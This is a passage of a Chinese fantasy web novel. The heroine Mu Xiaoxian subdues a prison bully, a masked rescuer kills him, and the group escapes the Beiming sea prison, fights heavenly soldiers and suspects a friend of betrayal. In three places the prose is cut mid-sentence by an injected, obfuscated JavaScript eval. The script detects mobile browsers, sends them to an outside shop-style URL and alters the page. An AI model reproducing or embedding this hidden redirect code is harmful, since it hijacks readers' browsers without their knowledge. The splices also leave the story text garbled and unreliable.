鲛人的小眼珠子落在瘦小的云姬身上,不怀好意地咧嘴:“我倒是漏了一只小白兔。没有了她,你们就没办法疗伤了吧?” 他向云姬迈出一步,嘴角勾起阴冷的笑容,眼中却丝毫没有笑意。巨大的阴影笼罩在云姬瘦小的身体上。武凌颤颤巍巍地爬起来,将云姬挡在身后,肿成一条线的眼睛死死盯着他。 正在此时,一个低沉的声音从鲛人的身后传来: “现在,你的对手是我。” 22. 自救行动 声音铿锵有力,让鲛人心里一颤。 在他身后不远处,慕小闲孑然站在空地中央,抱着手臂冷漠地盯着他。 鲛人缓缓转过庞大的身躯,不屑地冷哼一声:“哟,我还以为你要一直躲着呢?怎么,看到自己的小伙伴全都被我打趴下了是什么感受?你要是乖一点,他们就不用受伤了。他们这样可都是因为你,真可怜呐。” “呵。你这嘴贱的样子,还颇有我年少时的风范。不过......”慕小闲停顿了一下,眼神一凌:“你还差得远呢。” “什么?” 慕小闲不耐烦地说:“刚才浪费了太多时间,别磨磨唧唧了,反派死于话多你没听过吗?” 鲛人被慕小闲的胡言乱语搞得目眦欲裂,气息紊乱,冲上来就是没有章法的一顿拳打脚踢。这种简单粗暴的物理性攻击当然立刻就被玉镯化出的屏障挡了去,对慕小闲完全没有构成伤害。 慕小闲在屏障内变换各种姿势,最后困得打了个哈欠。 “行不行啊你。” “可恶!”屏障外鲛人累的满头大汗,这个屏障到底是什么东西,为什么他能击碎墙壁的拳头像砸在了棉花上一点用都没有。 “别白费力气了,我看着都累。”慕小闲冲他勾勾手指,鲛人边喘气边很听话地俯下身。 慕小闲一挑眉:“你看看后面。” 鲛人一回头,就见他身后紧贴着一抹透明的残魂,离他不过一寸,像是附在了他身上一般。 鲛人的身体条件反射地往旁边躲去,挪开两步才惊觉这样很没面子。但残魂没有给他感受尴尬的时间,而是一扬袖,将空无一物的袖口对准了鲛人的身体。 鲛人虽然那日没有看清残魂是如何出招的,但身上的疼痛却是实打实的。他看上去很镇定,实际上偷咽了咽喉咙。心里不紧张是不可能的,说到底他也不知道残魂到底有多强,但是他怎么能在这群垃圾面前怯场? “打轻点儿啊,别弄死了,我还有话要和他说。”慕小闲蹲在旁边捧着脸看戏。 “你以为同样的招数我还会失败第二次吗?”鲛人眯了眯眼睛,带着杀气死死盯着残魂,浑身紧绷严阵以待,没有进化完全的双臂护在身前蓄势待发。 残魂“轰”的一声,气流从袖口喷射而出,鲛人一闪身,擦着鬓边绒毛躲了过去。 “有种你别躲啊!”慕小闲在一旁煽风点火。 “闭嘴!等我收拾了他,我一定杀了你!”鲛人又一个回避,朝慕小闲怒吼。 残魂连发几次都没有命中,渐渐有些急躁,速度越来越快。鲛人在攻击中飞快地闪避,仿佛在枪林弹雨中穿梭。 “淡定淡定。”慕小闲劝慰道。 残魂放下袖子好像在酝酿什么。 鲛人有些洋洋得意:“哼!没招了吧?你连孤魂野鬼都算不上,老子会怕你?” 残魂的袖子又扬了起来,鲛人扭扭脖子,是时候正面一决高下了。 袖口凝聚起一个自带蓝色莹光的光球,“轰”的一声,朝鲛人飞去。那抹蓝色映上了鲛人狰狞的面庞,他一咬牙,双臂护在身前用尽了浑身的力气...... 在光球逼近的瞬间,庞大的躯体被猝然反向推飞了出去。 残魂用实力证明了同样的招数在鲛人身上依旧十分好用! 只是残魂这次手下留情了,鲛人被推出去十几米撞上了透明屏障,屏障的灰尘“簌簌”地落在了他的毛发上,他的嘴角留下了一行血迹。 慕小闲哈哈大笑,围观众人想笑又不敢笑。 “可恶!啊!”鲛人摇摇头将灰尘抖下,一跃而起,举起拳头砸向残魂。残魂没有挪开,直挺挺地守在原地等着他的拳头。 众人目不转睛,生怕会出现新的神转折。 鲛人臂力惊人,不知道残魂能不能吃得消。可是残魂毕竟是残魂,自带穿透力bug。鲛人的拳头怼上残魂时,连拳头带人从残魂身上直接穿了过去。 残魂毫无感觉、毫发无伤。 旁边一排的围观群众长大了嘴巴:这也可以??? 鲛人握着拳头愤恨地盯着残魂,这究竟是哪位祖宗的残魂?他之前怎么没有注意到? 残魂幽幽地向鲛人飘去,鲛人紧张地后退几步。残魂除了触发机制有点迷之外,简直就是北溟海极的终极bug。不过,现在看来残魂貌似是在玉镯打开屏障之后受到连续攻击就会被触发。 “你......你想干什么?”鲛人双手挡在前面,警惕地看着朝他飘来的残魂。 残魂不可能跟他废话,只是飘到他跟前,很机械地伸出袖子。 鲛人撒腿就跑。 残魂收起手,紧紧跟了上去。 鲛人在前面咬紧牙关,满头大汗地跑,残魂在身后神态自若不紧不慢地追。众人的眼珠从左挪到右,从右移到左,看着他们在屏障内兜圈子。 残魂可能从去世之后就没有做过这种剧烈运动了,所以飘了没多久就肉眼可见的开始烦躁。他本来透明的躯体泛起了粉红色,然后伸出袖子对着鲛人的下身“轰轰”两下,蓝光一闪像两把弯月刀一样斩向鲛人。 鲛人只觉得背后一凉,两条腿就跪在地上动弹不得,仿佛腿骨尽碎。“可恶!你到底是谁?” 鲛人的双腿被蓝光重击,下半身像被碾轧过一般陷进了地里。只有一只脑袋和两只手臂还在空中无助的乱挥,但他因体力不支,眼见着气焰一点一点落了下去,变得奄奄一息。 “啊......可......恶......” 众人瞋目结舌地看着慕小闲一蹦一跳地来到鲛人身边,双脚并拢起跳砸在鲛人后背上,鲛人的头被砸得弹起又落下,凸出的鼻子直接被嗑歪了。 “滚......下去......咳咳......滚!” 慕小闲骑在鲛人的身上,狠狠给了它一拳。 身下鲛人微弱的声音传来:“别......别打了......别......” “什么?我听不见!” “别......别......打了......” “大点儿声!“ “别......别......” “知道了!别停!马上满足你!” 慕小闲抬起头看向站在旁边目瞪口呆的小伙伴们,问:“你们要报仇吗?” 小伙伴们集体摇头:不了不了。你玩得高兴就好。 半个时辰后...... 慕小闲和全身是伤的鲛人对坐着,武凌、云魁、云姬、狒狒站在慕小闲的身后。鲛人鼻青脸肿,头发乱成一团,狼狈极了。 “现在我们可以冷静下来好好谈谈了。” 鲛人气若游丝:“谈......谈什么?” “你也知道我不好惹,如果你再惹我下次就不会只是一顿棒揍。我呢,不会在这里待太久。不如我们接下来这段时间和平相处?”慕小闲和身后的小伙伴一齐阴笑着捏了捏手骨,发出“咔咔”的声音。 鲛人内心:你特么这是和平相处的态度??? “我呸......”鲛人刚要爆粗口,就见慕小闲扬起手,鲛人居然条件反射地缩了下头。 大家的表情瞬间变得十分诡异,仔细一看都在很辛苦的憋笑。 “行。我认栽。和平相处?可以。慕小闲是吧,我记住你了!只要我找到他的弱点,你就死定了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕小闲点点头,微微叹了口气:“是啊,我刚飞升上天什么都没来得及学就被抓进来了。我原本想在天庭安安逸逸地做个小仙,混日子嘛哪里不是混,都上天了当然要舒舒服服得过神仙日子。没想到那帮神官并不欢迎我,想来我没有仙位,不会仙术,在天庭就是个异类,想要活下去是很难的。等我从这里出去后,我一定要学点儿仙术傍身才行。不过,狒狒你怎么好像也不会啊。” 隔壁传来很没底气的小小声:“谁说狒狒不会的?” “哦,你会什么?” “狒狒......狒狒一次能吃八十斤香蕉!” “哇,那你真是好棒棒呢。”慕小闲很给面子地拍手称赞道。 “讨厌!没有啦狒狒哪有那么棒哈哈哈哈哈”一点儿也经不起表扬。 “哈哈哈哈哎哟,哎哈哈”武凌大笑的伤口都拉扯开了,云姬焦急地让他别乱动。 一旁,云魁的嘴角也微微上扬。 笑完后,武凌和云魁对视一眼,在双方的眼里看到了认同。 “没想到你还不赖嘛。”武凌挑眉。 “彼此彼此。”云魁淡定地回应。 “不过,我的御火术可比你的遁地有用。”少年不服输的心性一定要相较个高下。 “不一定。”云魁也丝毫不让步。 “开玩笑!比一场试试?”武凌冲他挥了挥拳头,刚刚愈合的伤口又撕裂了。云姬看着他的伤口皱了皱眉头,十分不认同的看了眼他们两个,又开始给武凌治疗。 “等你伤好了再说。” “行,你等着。哎哟,轻点儿。你是不是故意为你哥报复我的?”云姬故意狠狠的压着武凌的伤口,武陵疼得表情失控。“说你还来劲儿了是不是?诶云魁你管管你妹妹。” “管不了。” “行啊,你们兄妹俩合伙欺负我?慕小闲快来帮帮我。” 远处,残魂依旧在结界上空漫无目的地游荡着,时不时抬头望向漆黑一片的深海。 23. 白衣再现 一袭素雅的白衣恍若天外来客,缓缓降落在结界之外,在混沌无垠的深海散发出莹莹如月的光辉。 精致的银质面具掩去了大半面容,只余下一双清冷淡泊的眼眸,和眸中看不透的神色。他乌黑的长发用一根飘带随意系在身后,随着缱绻的海流微微拂动,云纹广袖长衫勾勒出坚硬的线条,但气息却微弱得如一片轻盈的羽毛。 在永无止境的黑暗中,即使渺小,依旧引人注目。 他在结界外徘徊许久,结界里的人也探头观望,不知来者何人。待他轻而易举地穿过结界,从一众房门前经过时,房内传出叽叽喳喳的声音:“小哥你是什么人?来这里做什么?”“这位爷你找谁?” “哟!功力了得啊!”“兄弟带我出去怎么样?我可以给你一座金山!” “就你还金山?你拉倒吧!看看我怎么样?” 耳边声音杂乱,但他却连眼神都未施舍给他们,径直飘进了慕小闲所在的房间。 北溟海极有谁会认识这么个人物?不用说,一定又是那个新来的。 可慕小闲并不认得他。 她与小伙伴三人组缩在角落,互相对视几眼,皆未在对方的眼中找到答案。 诡异。着实诡异。 难道真是因她而来?她什么时候招惹过这种人物?不像是华尧,华尧没必要在她面前戴面具。也不像凤钰,凤钰根本不会穿这么素雅的颜色。可是除了华尧和凤钰,还有谁会来看她? 慕小闲于是朝白衣望去,他清冷的眼眸也静静望着她,看得极是认真仔细,却始终保持着沉默。 “兄台,你找谁?” “我来带你离开。”和煦的声音如同一道开天辟日的光,将冰冷幽暗的海底点亮。 他伸出白皙、纤长的手将慕小闲的手掌托起,用手指在她的掌心轻轻蹭了一下,慕小闲忽然牙根一酸,几个片段交错呈现,她微微张大了眼睛:“啊!你是!你是......之前在会场后台,躲在帘帐后面那个!” 白衣哽了一下,没有否认。 慕小闲:“你是来带我出去的?” 白衣点点头。 慕小闲眼睛一亮:“是天庭神官发现我是无辜的了吗?” 面对她的灼灼目光,白衣迟疑了一下,缓缓摇了摇头。 “怎么会?”慕小闲顿时泄了气,再看白衣时眼中又涌上怀疑的神色:“既然神官还没找到真相,我这一走,不就把毒害上神的罪名坐实了?” 白衣却道:“他们如何想重要吗?难道你不想走?” 慕小闲恍然明白过来,这天上的规矩不比凡间的司法,就算天庭能将当日下毒之事查明,也不知需要多长时间。如果查不出来,随便给她安一个罪名,也不是不可能。 华尧尚不知情况如何,也不知醒来后会不会替她伸冤,说不定正好找个理由摆脱她。凤钰就更指望不上了,她会被关在北溟海极也有解开封印的原因。如果继续待在这里,她的处境实在太过被动。 她犹豫之时,云姬突然上前眼含水光道:“小闲,我在北溟海极虚度了十几年的光阴,一直很后悔当初为什么没有为自己据理力争,哪怕只有一点点希望,说不定就不会来到这里。这里就像是被天庭遗忘的角落,漫漫长夜仿佛永无尽头,如果不是有哥哥和武凌,真的太难熬了。” 云魁点点头:“天庭势力虽然强大,但天界广阔,未必没有容身之处,能离开就离开吧。” 慕小闲目光松动,她无权无势,天庭根本不会有人在意她的死活,她不能将自己的未来交给那些和她毫无关系的人。 武陵却不大赞同他们的想法,靠近慕小闲,凑在她耳边悄声说:“他是什么人?你就这么相信他?” 慕小闲抬眼望向白衣,他那日在出现在宴会会场,或许是天庭的神官?是了,只有天庭的神官能知道春桃宴后她被关在这里。 “我们非亲非故,不过一面之识,你为何救我?”慕小闲问道。 “我不能说。”他的声音轻柔又坚定:“我只是来带你出去。” “离开后我还能去哪里?” 白衣道:“你可以去任何你想去的地方。” 他看上去太像好人了......慕小闲虽然没有一口答应,但心中的天平早已向他倾斜。 她升天不久,与各路神官关系浅薄,没有利用价值。如果绑架她不仅威胁不了什么神官,还得管她一日三餐生活起居,实在是件吃力不讨好的事。 慕小闲思忖的目光飘向了身边的小伙伴们,可是如果她一个人离开北溟海极,他们如何与鲛人抗衡?她心中衡量再三,问道:“他们是我的朋友,如果要离开这里,我想带他们一起走。” 白衣此时目光才略略在房间内其他人身上停留,须臾,似有些无奈地点了点头。 慕小闲顿时神采奕奕,笑着看向云魁、云姬说:“我们一起走吧。” 云魁一脸不敢置信,云姬的眼泪夺眶而出。 “别哭别哭。先出去再说。”慕小闲拍拍云姬的肩膀。 正在他们相拥而泣时,武凌突然拧眉激动地挥舞双手,阻止道:“不行!这样不对!私自逃出北溟海极会被天庭通缉的。” 慕小闲未想到武凌会反对:“难道你不想离开?” 武凌很干脆地摇了摇头:“我本来就快待满时限了,没必要犯险。而且,就算逃跑也会被抓回来的,你忘了《西游记》中孙悟空都没能逃出如来佛祖的掌心,被压在了五指山下五百年,我们这里地方虽然小,至少还能翻个身。” 慕小闲与他呛道:“道理我都懂,但是如来佛祖应该没有时间抓你这种偷炉的小贼吧?” 武凌涨红了脸说:“偷炉怎么了?我凭本事偷的!” 见无法说动他,慕小闲又转头问隔壁:“狒狒,你想走吗?” 地面震了一下,狒狒站了起来,同样是兴奋的声音里面却饱含了一点心酸:“嗷呜!狒狒终于能出去了!大圣等我!” 慕小闲最后看向如同倔驴的武凌,武凌脸上满是纠结,退到墙角:“别问了,我做不到!” “你连炼丹炉都偷还有什么做不出的?” “能不能别提炼丹炉了!” “真的不走?”慕小闲最后问一次。 武凌一屁股坐在地上,闭眼揉了揉头发,睁开眼睛叹了口气。神情复杂地看向一脸期待的慕小闲,又望了一眼担忧地望着他的云魁、云姬说:“走!走吧!真是败给你们了!” 白衣飘出房间,一扬袖,一道寒光过后两扇玄铁门应声倒地。 其他房间的人听见动静,纷纷从栅栏往外看:??? 有人哭喊:“小哥......不,大侠,也带我走吧!我上有老下有小,我要回去照顾他们啊!” “大侠!救救我吧!我是冤枉的啊!“ “我是好人!我不想待在这里!放我出去!” 白衣从他们门前经过,不为所动,像是没听到一样。 直到最右一间,里面传来尖利的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137687|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我要禀报天庭!你们一个都跑不掉!” 慕小闲扶额,鲛人怎么一点都不长记性。 “他是谁?”白衣问。 慕小闲跟在他身后嘀咕道:“他是鲛人。这人可坏了,在北溟海极欺压众人,我刚来的时候还被他揍了一拳,差点小命不保。”意简言赅,很会挑重点。 杀意骤然凝聚在白衣的眸中,四周的气氛突然压抑,武凌和云魁感觉肩上仿佛压了一座大山,沉重得喘不过气。 刚才还哭天抢地的囚犯们全都捂着嘴巴不敢出声。 白衣透过面具将慕小闲细细打量了一圈,见她并无大碍,那股杀气才悄悄收敛起来。 但方才的气息太窒息了,所有人都不敢轻举妄动。 白衣突然消失在他们的视野中,闪现在鲛人的房间内。 鲛人吓得向角落里退了几步,但他巨大的身体比白衣高了不少,他下意识觉得自己还有胜算:“你是什么人......我不怕你!你想干什么?你别过来!” 白衣突然出现在离他一米不到的地方,隐藏在白衣之下的威压全部释放出来,鲛人腿一软,跌坐在地上。 “你们会被天庭通缉!你们还会被抓回来的!不,你们会去更可怕的地方!火山炼狱!烧的魂飞魄散!哈哈哈哈哈哈!” 白衣的声音落在他耳边:“你是用哪只手碰的她?”这声音十分轻柔,但却像一把冰刃刺进鲛人的耳中,让他不寒而栗。 鲛人装作满不在意地说:“你管我?我想用哪只就用哪只......” 白衣没有再给他说完的机会,他举起袖子,藏在袖子里的手上,寒光如剑。鲛人眼里闪现一丝惊慌,他试图起身反抗,但是他居然像被什么东西压制了一样无法动弹。 他惊愕道:“怎么回事?这不可能!你是谁?怎么可能?” 眼前划过一抹冷森惨白的光,他的视线被鲜红浸染,一只断臂躺在血泊中。 鲛人大声嘶吼起来:“啊啊啊啊!你做了什么!我的手!我的手!” 鲛人瞳孔倒映着逐渐逼近的白色,眼睛因为恐惧缩成了一条竖线:“不要!不要!我错了!我道歉!我不该打她!是我手贱!饶命!啊啊啊啊啊啊啊!” 白衣的手上浮现一层寒气,眨眼间鲛人狭小的瞳孔扩散至边缘。他怪异的脑袋连着尚未断开的胫肉歪在一边,耳边的碎发耷拉下来,惊恐的神情永远地凝固在脸上,聒噪的声音终于在死后迎来了永久的寂静。 房间之外的慕小闲等人并没有看到这一切,只听到鲛人绝望的呼喊,声音戛然而止,鲛人的气息全无。 众人脸色皆变得不大好看。 本来以为是个从天而降的菩萨,没想到是个从地狱爬上来的冷面阎罗。 白衣走了出来,狒狒惊恐的嘴还没合上,武凌眯了眯眼,嘴抿成一条线,将手背在身后紧紧握了握。云姬瑟瑟发抖地躲在云魁身后,云魁则是盯着白衣眼睛眨也不敢眨。 慕小闲虽然感觉不到气息,但也察觉到气氛诡异,眼神变得闪烁起来,略有迟疑地望着白衣:“你......” “走吧。“他垂眸对慕小闲说,声音依旧温柔清澈,仿佛刚才什么也没发生。 说来奇怪,他的声音似乎包含着一丝能让她内心安稳的力量,慕小闲深吸一口气定了定神,下意识认为白衣不会伤害她。 她点点头,回头递给警惕的小伙伴们一个安抚的眼神:“我们走吧。” 这一步踏出去就没有回头路了。 24. 落日黄昏的誓言 想从北溟海极逃脱绝非易事。 慕小闲先前来时,海面形成了一个巨大的漩涡,海水如瀑布般哗哗奔流而下,才露出了位于海底的北溟海极。 白衣无法将海水分开,他们逃出结界之后,需要穿越暗潮汹涌的深海直至冲出海面。 白衣嘱咐他们:“穿过结界时需要闭气。其他的交给我即可。” 武凌站在队伍末端还有些犹豫,咬着嘴唇,眼睛东看看西瞧瞧。 慕小闲拍了拍他的肩:“都到这份儿上了,你是不走也得走了。” 云魁揽着云姬,狒狒在一旁兴奋地搓手手...... 慕小闲对白衣说:“我们准备好了。可以走了。” 白衣点点头,伸出雪白的袖子对着结界似真似幻的表层一挥,拦在众人面前的禁制竟然变得像层晃晃悠悠的泡泡,上面隐约折射着几条彩虹光斑。 慕小闲决定以身作则,无条件相信白衣。她眼神坚定地朝白衣颔首,深吸一大口气,站在了稀薄的结界前。白衣手中运起一圈如烟似雾的白气推向在她,她只觉身后一道极强的劲力打来,砰地一下穿过了结界。 眼前天旋地转,身旁的景物飞速向后离去,慕小闲又一次感受到了“升天”时的挤压感。半晌,她的朋友们犹如鲤鱼跳龙门一样,一个一个蹦了出来。 肺里的空气一点点变少,慕小闲头顶出现了一片模糊的亮光。温和的日光透过水面,折射进幽黑阒静的海底,好像有人为她打开了一条通向光明的甬道。 马上就能离开深海了...... 突然!一条巨大的黑色身影拦在了她的头顶,遮住了久违的光线,海面以下再次变得阴暗冷然,通向自由的那扇门仿佛被重重地关上。 黑影盘绕在她的头顶挡住了她的去路,黑团中露出一只浑浊的眼睛,虎视眈眈地盯住她。 与之相对的,一道白影快速闪现在她身旁,扬袖间,一道力量重重地砸在黑影身上。黑影如泥鳅一般的身体在水中挣扎,吐出了一串浓厚的泡沫。 随着黑影的扭动,海下掀起一阵剧烈的水波,顿时将慕小闲推出去数米远。黑影的尾部缠绕着“滋滋”的电流,它挣扎着想要再次翻身,又被白衣带着寒光的袖子狠狠地锤了几拳,终于挂着泪珠含恨离去。 水下几米是生死的距离,慕小闲被湍急的海浪向远处带去,肺部的空气所剩无几,胸腔瘪了下去。 她快坚持不住了! 慕小闲向上游去,但双手双腿的力量太小,无力地扒拉了几下,眼前渐渐变得模糊。 呜呼!吾命休矣! 分秒之间,白衣出现在她身后,揽上她的腰肢,将她向上一带,须臾浮上水面。 ——哗 出水的一刹那,慕小闲大口吸了几口气,胸腔急剧起伏数次,挤压的肺部才渐渐缓和。 远处水面露出几个脑袋,然后武凌、云魁、云姬腾空而起,拽起了湿漉漉的狒狒,运气甩干了身上的衣服。 “狒狒差点淹死了呜呜......”狒狒委屈地嘟囔道。 慕小闲精疲力竭地耷拉着眼睛,松了一口气,像老母亲一样欣慰地看着他们,大家都没事真好呀。 她一回头,那只精致的银质面具近在咫尺...... 咦?她怎么整个人都攀在他身上? 慕小闲的头发衣衫尽湿,紧紧粘在身上,勾勒出她的身体曲线。因为不会水,她双臂紧紧搂在白衣的颈间,白衣的双手则是略显僵硬地护在她的腰间。 如此距离,慕小闲垂眸不去直视他那双朦胧如烟雨般的眼眸,却嗅到了他身上一丝隐秘、恬淡的清香。 “兄台,我们不能总在水里待着吧?”慕小闲暗示道。 白衣没有回答,慕小闲抬眸对上了他的目光,他眼底一丝不易察觉的波澜转瞬即逝,好像只是她的错觉。默默对视片刻,慕小闲还想一窥究竟,他已经挪开了目光。 白衣搂着慕小闲飞出海面,落在一片温和腼腆的祥云上。祥云亲昵地摇了摇尾巴,动作轻而缓,仿佛在欢欣雀跃又小心翼翼。 慕小闲有些体力不支,昏昏沉沉地跌坐在云端。劫后余生,心脏还在怦怦直跳,血管里奔腾的血液尚未平复下来。 清风徐来,抚乱了她的长发,带来了丝丝凉意。 脚下苍茫大海无边无际,橘色黄昏抚平了海面上的微微波澜,几只洁白的鸥鹭向着落日余晖悠扬飞去。 一切都是那么安宁、闲适,美好得恍若梦境。 活着真好啊—— 慕小闲的内心感受到了从未有过的平静与轻松,突然提起一口气,向着远处下坠的落日大叫一声:“啊——” 白衣低头看她,她露齿一笑,眼中映着绚烂的夕阳。 “我想明白了!我要学习仙术!我要变得更加强大!”慕小闲大声呼喊道:“我要变强!不论在哪里我都要自由自在地活着!让别人不敢随便欺负我!” 不远处,武凌对着大海大喊:“我要努力修炼!我要像符鸣上神一样!成为一名优秀的武将!守护天庭!” 云魁大喊:“我一定要替云姬查明真相!我要照顾好云姬!” 狒狒大叫:“狒狒要成为像大圣一样顶天立地的猴几!” 他们对着落日与大海起誓,虽然无人回应,但内心却无比充盈,仿佛终有一日他们的誓言都会一一实现。一切都是那么有希望。 白衣立在慕小闲身后,思忖了一会儿说:“你想学仙术?” 慕小闲点点头:“英雄,你能做我师父吗?” 白衣摇摇头:“去青丘找晏离吧。” 那位避世而居的青丘美男?慕小闲怀疑地问:“他很强吗?” 面具之下似乎传来一声轻笑:“你见到他便会知道。” 慕小闲还想接着问,就听云姬指着远处问:“咦,那是什么?”慕小闲顺着她的手指看去,远处背着霞光,一个黑点正往这边靠近。 黑点逐渐变成模糊的人形。还不止一人。 他们身着银色战甲携红缨枪、长矛,黑压压一片往这里来。 这副武装实在太过熟悉,慕小闲前些天才和他们有过亲密接触。 她心下一颤,道:“是天兵天将。他们怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137688|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会出现在这里?” “什么!”云魁惊叫道。 “难道鲛人恶霸真的通知他们了?”武凌惊呼。 “嗷呜?” 广阔的大海上,并没有他们能够藏身之处。 一队天兵天将,约莫二十几人,全副武装直奔他们而来,怎么看都不像是饭后散步。 白衣对神情凝重的慕小闲轻声说:“别怕。”平静的声音安抚了慕小闲惴惴不安的心。 等队伍靠近,一众天兵天将纷纷亮出手中的红缨枪对准他们,大喝一声:“吾等奉天庭之命,前来捉拿北溟海极叛逃者!尔等速速就擒!”声音很是洪亮雄厚,让风平浪静的海面气氛突然紧张起来。 还真是来抓他们的。不过他们前脚刚从海里出来,你们这后脚来的也太快了吧? 在一片银枪的冷辉中,云魁警惕地将云姬掩在身后,武凌和狒狒紧张地不知如何是好。 白衣给慕小闲留下一块祥云,一晃身银光一闪,天兵天将举起手中的武器齐齐对准他。 “你是什么人?叛逃乃天庭重罪,速速放下武器随我们回天庭!” 白衣没有理会他们,他的袖口冒出森森寒光,凝成一条刺眼的冰白色长鞭。 天兵嗤笑一声,“不自量力。”双手紧握红缨枪向他刺来。 袖口长鞭一扫,前排冲来的几个天兵天将轰然倒地,捂着腹部、胸部,翻滚落入海中,海面浪花飞溅。 “怎么可能?”后排的天兵天将换了阵法冲上来,将红穗舞得眼花缭乱。 “哎呀!你们怎么以多欺少呢?“慕小闲跺跺脚,故意从中捣乱,指着天兵天将其中一人叫道:“哎,说你呢,你知不知道你腰带开了!形容不整真丢人!” “你好好打架扭什么腰?不如给你扯两块红布扭秧歌?” “哎,你那么大个还站在后边搞偷袭,当我们眼瞎呢?” 天庭天将一边紧紧盯着白衣伺机而动,一边还要忍受慕小闲言语的折磨,简直乱作一团。 冰白色的长鞭在虚空中挥舞,“啪啪”几下,本来团聚在一起的天兵天将被抽的四散开来,脚踩祥云在白衣周围盘旋,却根本无法近身。 白衣镇定自若地与天兵天将周旋,周身气息沉稳内敛,广袖划过一道弧线,凌厉的寒光像蜿蜒的蛇在天兵天将之间游走、缠绕、忽而炸开。 “啊——”一众天兵天将被同时击中,身子扭曲着东倒西歪,哀叫连连。 天兵天将被打的落花流水、灰头土脸,竟是撑着手里的武器勉勉强强才能站起来。眼前这位带着面具的白衣人仙力至少是上仙的级别,不过天庭有这号人物吗?他到底是何方神圣? 局势一片大好,正在此时,慕小闲忽然觉得后颈侵入一丝不寻常的气息,微微拂动她披散的发丝。 她转过身,眼神锐利地看向不知道什么时候悄悄挪到她身后的武凌,沉下声:“你终于要出手了吗?” 一句话像一粒石子砸进了平静无波的水池中,搅乱了混沌的池水,引起了圈圈涟漪。 霎时间,云魁、云姬和狒狒惊愕地看了过来。 25. 分道扬镳 武凌眼神微滞:“你在说什么?” 慕小闲目光沉沉地看着他道:“在我初入北溟海极时只是觉得有些奇怪,这里关押的犯人之间差异怎么会这么大?后来我渐渐想明白了,鲛人杀了一船的仙人,云姬就算是断了荷花的仙路吧,我也是因为被指控给上神下毒才被关进来的。所以北溟海极关押的人神妖兽,不论是否真的有罪,不论罪状轻重,罪名都与伤人性命相关。” 她紧盯着武凌的眼睛,一字一顿地问:“既然这里关押的都是些罪大恶极的人,那么,为什么只有你是因为偷了炼丹炉被关进来的?” 武凌无甚表情,但眸光幽幽转冷。 慕小闲接着说:“你说你在北溟海极待了二十多年,那么你的罪状应当比云姬还要重才是。” 武凌耸耸肩,不以为意地笑了:“天庭的仙丹一百年才能练成一颗,甚至比有些小仙的命还金贵,如有遗失必遭重罚,这是天庭不成文的规矩。小闲,你刚升天不久,或许不明白这些事。” 慕小闲神色未变:“是吗?可你偷的炼丹炉中可有仙丹?” 武凌笑容一顿,没有立马回答,而是思忖片刻:“时间久远,我记不太清了。或许是有的。” 慕小闲又问:“如果有仙丹,你的罪名便是盗窃仙丹,而不会是偷炼丹炉。你知道盗窃仙丹是重罪,所以在回忆时下意识规避了这个罪名,避重就轻地说是偷了炼丹炉。” 武凌的笑容消失在唇边,目光沉沉地落在她身上:“你想说什么?你觉得我是在骗你们吗?狒狒不也没有说清楚他的罪状?” 慕小闲蹙起眉:“狒狒是没有说清楚,但他对北溟海极没有任何留恋,说走便走了。反倒是你,在被关押了二十多年后,听见可以离开北溟海极,并没有表现出应有的喜悦,反而一直在犹豫。你在犹豫什么呢?” 武凌顿了一下:“我害怕......逃跑是要被天庭通缉的!如果再次被抓,之前在北溟海极的蹲守全都白费了,还会受到更重的惩罚。而且,突然说要走,我一点心理准备也没有,我不知道这二十多年外界发生了什么,我不知道我还能不能适应外面的生活。” 白衣守着天兵天将不让他们上前,虽背对着慕小闲,但很认真地在听他们之间的对话。 “你要这么说也有道理,但是你不该,不该给天庭通风报信。”慕小闲惋惜道。 “什么?”云魁云姬身体一震,难以置信地看着他。“这是真的吗?” “你在胡说什么?我怎么会给天庭通风报信?你有证据吗?”武凌抱起手臂看向慕小闲,眼底流露一丝愠怒,语气也变得强硬起来。 “鲛人被杀时,你的手背在身后,如果我没看错的话......”慕小闲在胸口比了个手势,云魁云姬一愣,依稀记起来:“这是......天庭通信的诀!你怎么会这个?” 慕小闲没有仙力不会仙术是众所周知的事情,除非她亲眼看见,否咋不可能会用。 但武凌向天庭举报他们逃离北溟海极这种事,对云魁云姬和狒狒来说,就像在听一个天方夜谭一样。他们一时反应不过来,脸色苍白地僵在原地。 云魁神色纠结地望向武凌,动了动嘴唇,发出微弱的声音:“骗人的吧。” 云魁、云姬想起他们初入北溟海极时,面对未知的恐惧,两人已经做好了要同生共死的准备。北溟海极关押的罪人恃强凌弱者不在少数,他们初来乍到自然成为了食物链的最底端。如果不是当初武凌挺身而出,他们便会一直一直受人欺负。 武凌是他们在北溟海极认识的第一个朋友。他勇敢、善良、友好,平日非常照顾他们。鲛人来挑衅的时候,也是武凌拦在他们前面。北溟海极因为有了武凌,变得不那么冰冷可怖,尚有一丝人情温暖,让漫长的禁制时间变得不那么难熬,他们甚至还能苦中作乐。 但是,但是武凌为什么要骗他们? 